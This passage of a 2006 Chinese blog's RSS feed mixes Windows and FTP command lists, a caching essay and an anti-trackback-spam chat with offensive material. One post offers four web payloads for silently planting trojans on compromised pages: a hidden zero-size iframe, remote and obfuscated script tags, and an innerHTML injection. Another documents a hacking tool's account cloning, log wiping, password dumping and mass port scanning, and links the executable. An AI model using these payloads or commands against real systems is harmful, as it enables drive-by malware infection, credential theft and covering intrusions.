<p>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。</p>
<p>65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。</p>
<p>67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。</p>
<p>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3</p>
<p>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous <a href="mailto:my@email">my@email</a>。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.</p>
<p>73.?[cmd]：同help.</p>
<p>#11 十一：</p>
<p>7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕&quot;讲述人&quot;<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略</p>]]></description>
			<link>http://www.sablog.net/blog/archives/178/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-06-22 03:25</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/177/</guid>
			<title>正确的4种挂马方式(属于比较简单的)</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>一、最简单的也是最有效的<br /><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;</span><span style="color: #0000BB">iframe&nbsp;src</span><span style="color: #007700">=</span><span style="color: #0000BB">http</span><span style="color: #007700">:</span><span style="color: #FF8000">//www.xxx.com/muma.html&nbsp;width=0&nbsp;height=0&gt;&lt;/iframe&gt;</span><span style="color: #0000BB"></span>
</span>
</code></p>
<p>二、js挂马<br /><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;</span><span style="color: #0000BB">script&nbsp;src</span><span style="color: #007700">=</span><span style="color: #0000BB">http</span><span style="color: #007700">:</span><span style="color: #FF8000">//www.xxx.com/muma.js&gt;&lt;/script&gt;</span><span style="color: #0000BB"></span>
</span>
</code></p>
<p>三、js变形加密<br /><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;</span><span style="color: #0000BB">SCRIPT&nbsp;language</span><span style="color: #007700">=</span><span style="color: #DD0000">"JScript.Encode"&nbsp;</span><span style="color: #0000BB">src</span><span style="color: #007700">=</span><span style="color: #0000BB">http</span><span style="color: #007700">:</span><span style="color: #FF8000">//www.xxx.com/muma.txt&gt;&lt;/script&gt;</span><span style="color: #0000BB"></span>
</span>
</code><br />muma.txt可改成任意后缀的。</p>
<p>四、不是嵌入了与iframe不同<br /><code><span style="color: #000000">
<span style="color: #0000BB">top</span><span style="color: #007700">.</span><span style="color: #0000BB">document</span><span style="color: #007700">.</span><span style="color: #0000BB">body</span><span style="color: #007700">.</span><span style="color: #0000BB">innerHTML&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">top</span><span style="color: #007700">.</span><span style="color: #0000BB">document</span><span style="color: #007700">.</span><span style="color: #0000BB">body</span><span style="color: #007700">.</span><span style="color: #0000BB">innerHTML&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">'\r\n&lt;iframe&nbsp;src="木马地址"&gt;&lt;/iframe&gt;'</span><span style="color: #0000BB"></span>
</span>
</code></p>]]></description>
			<link>http://www.sablog.net/blog/archives/177/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-06-22 03:23</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/176/</guid>
			<title>All In One(AIO) V1.0</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>All In One(AIO) V1.0 Build 06/10/2006 By WinEggDrop(<a href="http://www.ph4nt0m.org">www.ph4nt0m.org</a>)</p>
<p>这是一个将很多小工具功能集成一体的一个&quot;工具&quot;.</p>
<p>(如果你使用的是Build 04/01/2006版本,那版本中的syn扫描因编译时原因有些问题,请更新为Build 06/10/2006版本)</p>
<p>功能:<br />1.AutoRun&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 查看一般登陆后启动的项<br />用法:Aio.exe -AutoRun</p>
<p>2.Clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 克隆帐户<br />用法: Aio.exe -Clone 正常帐号 要被克隆帐户 密码<br />例子: Aio.exe -Clone Administrator Guest test<br />帮助: Aio.exe -Clone<br />不需要在system权限下也可用</p>
<p>3.CheckClone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 检测克隆帐户<br />用法: Aio.exe -CheckClone<br />不需要在system权限下也可用</p>
<p>4.CleanLog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 清除日志<br />用法: Aio.exe -CleanLog</p>
<p>5.ConfigService&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 修改服务的启动类型<br />用法: Aio.exe -ConfigService 服务器 启动类型<br />例子: Aio.exe -ConfigService W3svc Demand&nbsp;&nbsp; -&gt;手动启动<br />例子: Aio.exe -ConfigService W3svc Auto&nbsp;&nbsp;&nbsp;&nbsp; -&gt;自动启动<br />例子: Aio.exe -ConfigService W3svc Disabled -&gt;禁止启动<br />帮助: Aio.exe -ConfigService</p>
<p>6.DelUser&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 删除系统帐户<br />用法: Aio.exe -DelUser 帐户<br />例子: Aio.exe -DelUser Guest<br />帮助: Aio.exe -DelUser<br />(注意: 可以删除系统内建帐号,象Administrator,Guest等,小心使用)</p>
<p>7.EnumService&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 列举系统服务<br />用法: Aio -EnumService All|Running|Stopped<br />例子: Aio -EnumService All&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 列举所有服务<br />例子: Aio -EnumService Running&nbsp; -&gt; 列举正在运行的服务<br />例子: Aio -EnumService Stopped&nbsp; -&gt; 列举停止了的服务<br />帮助: Aio -EnumService</p>
<p>8.FHS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 检查系统隐藏服务<br />用法: Aio.exe -FHS</p>
<p>9.FGet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; FTP下载<br />用法: Aio.exe -FGet FTP地址 端口 用户名 密码 要下载文件名<br />例子: Aio.exe -FGet 12.12.12.12 21 test test a.exe<br />例子: Aio.exe -FGet 12.12.12.12 21 test test *.exe (下载所有exe文件)<br />帮助: Aio.exe -FGet</p>
<p>10.FindPassword&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 得到NT/2K所有登陆系统用户密码<br />用法: Aio.exe -FindPassword</p>
<p>11.InstallService&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 安装服务<br />用法: Aio.exe -InstallService 服务名 文件名<br />例子: Aio.exe -InstallService test test.exe<br />帮助: Aio.exe -InstallService</p>
<p>11.InstallService&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 安装驱动<br />用法: Aio.exe -InstallDrver 服务名 驱动文件名<br />例子: Aio.exe -InstallDriver test test.sys<br />帮助: Aio.exe -InstallDriver</p>
<p>12.KillTCP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 杀掉一个TCP连接<br />用法: Aio.exe -KillTCP 本地IP 本地端口 远程地址 远程端口<br />例子: Aio.exe -KillTCP 192.168.1.1 80 61.61.61.61 7890<br />帮助: Aio.exe -KillTCP<br />(参数可以通过netstat -an得到)</p>
<p>13.LogOff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 注销系统<br />用法: Aio.exe -LogOff</p>
<p>14.MGet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; HTTP下载文件<br />用法: Aio.exe -MGet URL &lt;保存为文件名&gt;<br />例子: Aio.exe -MGet <a href="http://www.abc.com/test.exe">http://www.abc.com/test.exe</a> abc.exe<br />帮助: Aio.exe -MGet</p>
<p>15.MPort&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 端口和程序关连映射<br />用法: Aio.exe -Mport</p>
<p>16.Never&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 将系统帐户登陆次数重置为0<br />用法: Aio.exe -Never 帐户<br />例子: Aio.exe -Never Guest<br />帮助: Aio.exe -Never</p>
<p>17.PowerOff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 关机,关电源<br />用法: Aio.exe -PowerOff</p>
<p>18.Pslist&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 列进程<br />用法: Aio.exe -Pslist</p>
<p>19.Pskill&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 杀进程<br />用法: Aio.exe -Pskill PID|进程名<br />例子: Aio.exe -Pskill 3465<br />例子: Aio.exe -Pskill Iexplore</p>
<p>20.PortScan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 端口扫描(Syn和TCP扫描)<br />用法: Aio.exe -PortScan Syn|TCP -S 起始地址 -E 终止地址 -P 端口列表 -T 线程数 &lt;/Banner&gt; &lt;/TS&gt; &lt;/S5&gt; &lt;/Save&gt;<br />例子: Aio.exe -PortScan Syn -S 61.129.1.1 -E 61.129.1.255 -P 3389 -T 512 /TS&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 扫描61.129.1.1到61.129.1.255的主机的3389端口,检查是否打开的是终端<br />例子: Aio.exe -PortScan Syn -S 61.129.12.12 -P 1-65535 -T 512 /TS&nbsp;&nbsp;&nbsp; -&gt; 扫描61.129.12.12主机65535个端口,检查哪个端口打开的终端服务<br />例子: Aio.exe -PortScan Syn -S 61.129.12.12 -P 1-65535 -T 512 /S5&nbsp;&nbsp;&nbsp; -&gt; 扫描61.129.12.12主机65535个端口,检查哪个端口打开的Socks5服务<br />帮助: Aio.exe -PortScan<br />(更多用法,请参考我发布的SynScan)<br />这个功能的用法是最多的,而且也是很强大的.(Syn扫描只适用于2K或以上系统)</p>
<p><br />21.PortRelay&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; TCP数据转发<br />用法: Aio.exe -PortRelay 本地绑定端口 转发至的IP 转发至端口<br />例子: Aio.exe -PortRelay 3389 211.12.12.12 3389<br />帮助: Aio.exe -PortRelay</p>
<p>22.Reboot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 重启系统<br />用法: Aio.exe -Reboot</p>
<p>23.RemoveService&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 删除服务<br />用法: Aio.exe -RemoveService 要删除的服务<br />例子: Aio.exe -RemoveService test<br />帮助: Aio.exe -RemoveService</p>
<p>24.StartService&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 启动服务<br />用法: Aio.exe -StartService 要启动的服务<br />例子: Aio.exe -StartService test<br />帮助: Aio.exe -StartService</p>
<p>25.StopService&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 停止服务<br />用法: Aio.exe -StopService 要停止的服务<br />例子: Aio.exe -StopService Test<br />帮助: Aio.exe -StopService</p>
<p>26.Sysinfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 查看系统信息<br />用法: Aio.exe -Sysinfo</p>
<p>27.ShutDown&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 关机<br />用法: Aio.exe -ShutDown</p>
<p>28.Terminal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 安装终端服务(2K/XP/2003中都适用)<br />用法: Aio.exe -Terminal 端口<br />例子: Aio.exe -Terminal 3389<br />帮助: Aio.exe -Terminal</p>
<p>29.Unhide&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 查看星号密码(NT系统有效)<br />用法: Aio.exe -Unhide</p>
<p>30.WinInfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -&gt; 查看帐户信息等<br />用法: Aio.exe -WinInfo &lt;帐户&gt;<br />例子: Aio.exe -WinInfo<br />例子: Aio.exe -WinInfo Guest</p>
<p>如果发现什么bug,请到论坛中发贴或发信到<a href="mailto:WinEggDrop@hotmail.com">WinEggDrop@hotmail.com</a></p><br /><br /><b>附件: </b><a href="http://www.sablog.net/blog/attachment.php?id=148" target="_blank">aio.exe</a> (41.18 K, 下载次数:725)]]></description>
			<link>http://www.sablog.net/blog/archives/176/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-06-22 03:21</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/123/</guid>
			<title>静态缓存和动态缓存</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>今天有个朋友问我什么叫动态缓存。N年前曾经看过一篇文章，不记得叫什么了。只记得静态缓存是在写了文章过后，就生成静态页面。动态缓存是写了文章以后不生成静态页面，当有用户第一次浏览以后，才触发相关条件生成静态页面。</p>
<p>我朋友又问？那不是动态缓存需要更加多的判断和操作？其实是错的。动态缓存要比静态缓存先进多，至少在我看来是这样。目前绝大多数WEB程序生成静态页面，都是采用静态生成。这就是我一直不做静态缓存（生成）的原因&mdash;&mdash;麻烦。</p>
<p>因为静态缓存，有比较严重的缺点&mdash;&mdash;数据即时性。如果要保证静态页面的某些数据的即时性，也可以说同步更新，就必须执行大量操作，统计，重新写入。或者是改变内容后，还要重新生成。如果不注重即时性，那也要定期重新更新所有静态文件。因此，在后台和前台都必须要有代码来执行更新和写文件的操作。</p>
<p>我说动态缓存就比静态缓存，先进就先进在生成是触发式的，这样可以让后台部分少去了很多操作。比如写完文章后，不生成静态页面，有用户第一次访问时，检查是否有缓存过的记录或者缓存文件是否存在。没有，就生成，这次操作稍微慢点，然后记录一下，第2个用户访问时，系统检查到有缓存的记录。就直接调用缓存文件。这次的速度就快了。对数据库的访问也就减少了。我们还可以给缓存设置一个有效期，当前台用户浏览时，可以触发是否更新。更新的话，这个用户浏览肯定会稍微慢点。但是第2个用户就又快了。又可以看到新内容了。后台干预的操作也大大减少了。当然，管理员可以有时间去喝咖啡了。</p>
<p><hr /></p>
<p>比如SABLOG-X要加入动态缓存的功能那我们就要多加几个字段来记录某些信息。</p>
<p>lastvisit 最后访问时间<br />cached 是否已经缓存 默认0</p>
<p>新文章，cached当然为0了。第一个用户访问，然后就开始生成文件，处理数据库的信息是个漫长的过程，可能也就0.00N秒吧。呵呵。生成完毕后，更新cached的值为1，然后跳转到/cachedir/datedir/articleid.html。</p>
<p>当第2个用户访问，查询到cached的值是1，就直接跳转或者调用/cachedir/datedir/articleid.html，就跳过了下面对数据库的操作。当然，之中可以加入缓存有效时限的判断操作，看看lastvisit和当前时间的间隔。这个间隔可以在后台设置，比如1天，2天&hellip;&hellip;如果大了。就把缓存删除。再生成。如果小了。继续调用缓存文件或者跳转。反正用不了几毫秒。这一步也可以在后台批量操作。反正代码也简单。总之操作要比静态缓存简单得多。代码量肯定也要少得多。</p>
<p>这下就不用和朋友解释这么多了，说这么通俗。再笨都懂了。不知道有没有高手的思路或者方法更加好的。欢迎交流交流。</p>
<p><hr /></p>
<p>最近学习了不少东西，本来如果不预定51发布SABLOG-X的，就可以加入更加多的重大改进。但是为了不跳票。只能将就咯。我脸皮比较厚，敢说现在的SABLOG-X在国产BLOG中，也算排得比较靠前的了。哈哈。</p>]]></description>
			<link>http://www.sablog.net/blog/archives/123/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-04-22 05:32</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/trackback-spam/</guid>
			<title>Sablog-X采用的Trackback Spam防范机制</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>我这个模板是适合800分辨率的。所以看代码可能来这里看比较直观一点。<br />
<a href="http://www.4ngel.net/blog/angel/archives/?article-118.html">http://www.4ngel.net/blog/angel/archives/?article-118.html</a></p>
<p>目前来说，防范Trackback垃圾已经迫在眉睫，因为到现在为止。很多BLOG只做了一些评论的过滤，要防范评论垃圾信息很简单，但是防范Trackback Spam却不能象评论那样，因为Trackback来自其他的BLOG，所以很多内容都是不可以确定的，比如按照其他链接出现次数，和垃圾词汇进行过滤，是不可能的，不然我收集一些网站，或者是骂点人。都有可能不能通过别人的BLOG检查。所以我根据Trackback Spam的特征，想出了一套比较可行的办法。采用分数制度，给接收来的Trackback数据，进行评分操作。最后决定数据处理办法。懒得组织语言说了。贴出我和BO-BLOG作者BOB的部分聊天记录。</p>
<p>
<table cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#000000" summary="" border="0">
    <tbody>
        <tr>
            <td bgcolor="#e4ebf8">
            <p>用户：所有分组(QQ好友)</p>
            <p>==================================================<br />
            消息组：我的好友(92)<br />
            ==================================================<br />
            消息类型：聊天记录<br />
            ==================================================</p>
            <p>--------------------------------------------------<br />
            消息对象：Bob(22112197)<br />
            --------------------------------------------------<br />
            2006-04-10 15:22:51 Small!A<br />
            在？ <br />
            &nbsp; <br />
            2006-04-10 15:23:17 Small!A<br />
            我想到一个比较有意思的防范track的办法。讨论一下。 &nbsp;</p>
            <p>2006-04-10 20:22:24 Bob<br />
            什么好主意啊？</p>
            <p>2006-04-10 20:23:57 Bob<br />
            说来听听呀</p>
            <p>2006-04-10 20:24:45 Small!A<br />
            我不知道。只是有一个打分数的想法。</p>
            <p>2006-04-10 20:24:52 Small!A<br />
            不知道有用不。</p>
            <p>2006-04-10 20:24:29 Bob<br />
            嗯，打分法</p>
            <p>2006-04-10 20:24:41 Bob<br />
            不过怎么操作呢</p>
            <p>2006-04-10 20:25:37 Bob<br />
            好像很高深呀...</p>
            <p><br />
            2006-04-10 20:28:51 Small!A<br />
            定义一个初始分数。<br />
            我是这样来的。<br />
            $point = 0;<br />
            发送完整的trackback里面不是有url吗？<br />
            直接读取这个url的源代码进行分析。读取失败。减1分。<br />
            如果可以在原代码里找到提交url。加一分。<br />
            找到标题加一分，找到摘要加一分，就是通过对比。<br />
            综合起来的分数。可能是负的，可能是正的。</p>
            <p>如果是负的。就表示是垃圾。</p>
            <p>2006-04-10 20:29:09 Small!A<br />
            具体我在实验。不知道有效果不。。</p>
            <p>2006-04-10 20:29:15 Bob<br />
            不错的思路3481D2</p>
            <p>2006-04-10 20:29:34 Bob<br />
            关键词可以考虑进去否？</p>
            <p>2006-04-10 20:29:46 Bob<br />
            我今天在地铁上冒出来一个想法</p>
            <p>2006-04-10 20:31:10 Small!A<br />
            还有可以设置过滤强度。比如计算结果是0。则表示基本正常。大于零，正常。如果-1。我表示为弱。设置为隐藏。到后台审核。如果得到-2甚至更少的分数。就表示在我设置的强</p>
            <p>度过滤范围内。就直接不予处理。</p>
            <p>2006-04-10 20:32:23 Small!A<br />
            我想过了。关键词和HTTP出现次数。都不行。不同于评论。不能用评论的办法。我发的文章。刚巧你禁止内容内的某个词。或者我是推荐一些好网站。超过你设置的HTTP次数。那</p>
            <p>不是没办法PING你？</p>
            <p>2006-04-10 20:32:20 Bob<br />
            我今天想到一个。。。可以建立一个trackback回访制度。</p>
            <p>2006-04-10 20:32:29 Bob<br />
            让我整理一下思路。。。</p>
            <p>2006-04-10 20:33:11 Small!A<br />
            好的。等你组织语言。呵呵。</p>
            <p>2006-04-10 20:35:04 Bob<br />
            比如，A发送给B一个trackback，B在检查之后发现A是来自从来没有发送过trackback给他的一个地址。于是，A的TB暂时不显示。B的管理员通过A的tb之后，B自动向A发送一个确认</p>
            <p>密码串。今后A再次向B发送TB时，自动附上这个密码串。B验证这个密码的正确性，再检查A是否在曾经允许过的列表内。两者都正确后即刻显示。。。</p>
            <p>2006-04-10 20:35:39 Bob<br />
            [表情]有点bt的想法</p>
            <p>2006-04-10 20:37:59 Small!A<br />
            这个相当于几次握手了？我感觉不是很舒服。是我不会再给你发了。<br />
            我的看法是在我们这边单方面处理。如果双方都要处理的话。你没办法确定对方的BLOG系统跟你是否统一标准。涉及到处理我估计会麻烦不少。。。</p>
            <p>2006-04-10 20:38:04 Bob<br />
            嗯，麻烦就在于要在现有的标准上</p>
            <p>2006-04-10 20:38:21 Bob<br />
            而trackback的标准本来就不考虑spam</p>
            <p>2006-04-10 20:38:50 Bob<br />
            分数这个可以试试看效果的。。。</p>
            <p>2006-04-10 20:39:03 Bob<br />
            有没有可能建立一套分数的评分规范。。。</p>
            <p>2006-04-10 20:39:47 Small!A<br />
            所以我想先试试我的想法是否可行。</p>
            <p>2006-04-10 20:39:23 Bob<br />
            尽量为越来越多的程序采用</p>
            <p>2006-04-10 20:40:16 Small!A<br />
            不知道。所以我如果可以有效防范。我们再谈谈如何统一吧。。</p>
            <p>2006-04-10 20:40:22 Bob<br />
            有没有测试的工具C7B305</p>
            <p>2006-04-10 20:40:36 Bob<br />
            俺来发几个垃圾信息轰炸一下</p>
            <p>2006-04-10 20:41:24 Small!A<br />
            如果能找到测试工具倒不错。我晚上先手工测试一下。</p>
            <p>2006-04-10 21:14:19 Small!A<br />
            我给你段代码。你==</p>
            <p>2006-04-10 21:13:58 Bob<br />
            hao〕</p>
            <p>2006-04-10 21:17:00 Small!A<br />
            放你的WEB上。给我地址。</p>
            <p>2006-04-10 21:17:13 Small!A<br />
            然后我发送TRACK看看。分数是多少。</p>
            <p>2006-04-10 21:27:12 Small!A<br />
            1分。</p>
            <p>2006-04-10 21:26:42 Bob<br />
            正常了</p>
            <p>2006-04-10 21:27:27 Small!A<br />
            恩。我是这样想的。如果是软件发送。。</p>
            <p>2006-04-10 21:27:35 Small!A<br />
            我组织一下语言。。==</p>
            <p>2006-04-10 21:27:37 Small!A<br />
            哈哈</p>
            <p>2006-04-10 21:27:12 Bob<br />
            嘿嘿，我把发送时候的标题改掉</p>
            <p>2006-04-10 21:27:18 Bob<br />
            让他找不到</p>
            <p>2006-04-10 21:28:18 Bob<br />
            $point:0 [:D]</p>
            <p>2006-04-10 21:31:26 Small!A<br />
            如果他是软件发送。那么他就只有一个地址<br />
            他要发送的话。必须提供<br />
            $articleid<br />
            $title<br />
            $excerpt<br />
            $url<br />
            $blog_name</p>
            <p>这5个必须的。对吧？</p>
            <p>我们的tb.php文件。就去抓取他的url的内容。看看内容里是不是包含了他提交的title等这些数据。如果包含。则说明他可能是正常发送。</p>
            <p>也就是说。他要正常发送。就要提供正确的数据。只要正确的数据。才加分。否则减分。分数过低。直接CUT掉！</p>
            <p>2006-04-10 21:31:21 Bob<br />
            我懂了</p>
            <p>2006-04-10 21:32:08 Small!A<br />
            即使他伪造，也要伪造出正确并且实际存在的。能访问到的。</p>
            <p>2006-04-10 21:31:36 Bob<br />
            他为了伪造发送，必须提供一个可以访问</p>
            <p>2006-04-10 21:31:38 Bob<br />
            对</p>
            <p>2006-04-10 21:32:15 Small!A<br />
            恩。</p>
            <p>2006-04-10 21:32:22 Small!A<br />
            我的思路就是这样。你有没有更好的办法？</p>
            <p>2006-04-10 21:32:01 Bob<br />
            暂时没有</p>
            <p>2006-04-10 21:32:39 Small!A<br />
            当然我想仅仅这些判断。估计不够。还多想一点。</p>
            <p>2006-04-10 21:32:44 Small!A<br />
            你认为这个办法可行不？</p>
            <p>2006-04-10 21:32:12 Bob<br />
            不过如果他的地址的确能访问呢？</p>
            <p>2006-04-10 21:32:25 Bob<br />
            这好像就是他发spam的目的啊</p>
            <p>2006-04-10 21:33:09 Bob<br />
            不过，效果肯定会有的</p>
            <p>2006-04-10 21:34:20 Small!A<br />
            所以我们在后台设置一个防范强度。<br />
            [图片]<br />
            分数在某个范围属于强？某个范围输入弱。可以根据判断是隐藏该引用。还是直接不处理该引用。</p>
            <p>2006-04-10 21:35:37 Bob<br />
            good</p>
            <p>2006-04-10 21:36:13 Small!A<br />
            可以根据范围判断是隐藏该引用。还是直接不处理该引用。 分数特别低或者最低。就可以不处理了。这个范围就是防范等级咯。</p>
            <p>2006-04-10 21:36:08 Bob<br />
            改天我要把trackback部分重写一下。现在我的tb没有隐藏这个熟悉</p>
            <p>2006-04-10 21:36:12 Bob<br />
            属性</p>
            <p>2006-04-10 21:37:00 Small!A<br />
            我的也没有。要加字段了。呵呵。</p>
            <p>2006-04-10 21:36:41 Bob<br />
            我的倒不必</p>
            <p>2006-04-10 21:36:55 Bob<br />
            本来就和评论共用了一个表</p>
            <p>2006-04-10 21:37:29 Small!A<br />
            你通过什么判断属性？</p>
            <p>2006-04-10 21:37:56 Small!A<br />
            哦。明白。加个type判断是什么对吧？</p>
            <p>2006-04-10 21:37:31 Bob<br />
            0= 公开评论 1＝隐藏评论 2＝垃圾嫌疑的公开评论 3＝垃圾嫌疑隐藏评论 4＝tb</p>
            <p>2006-04-10 21:37:44 Bob<br />
            看来要用到 5</p>
            </td>
        </tr>
    </tbody>
</table>
</p>
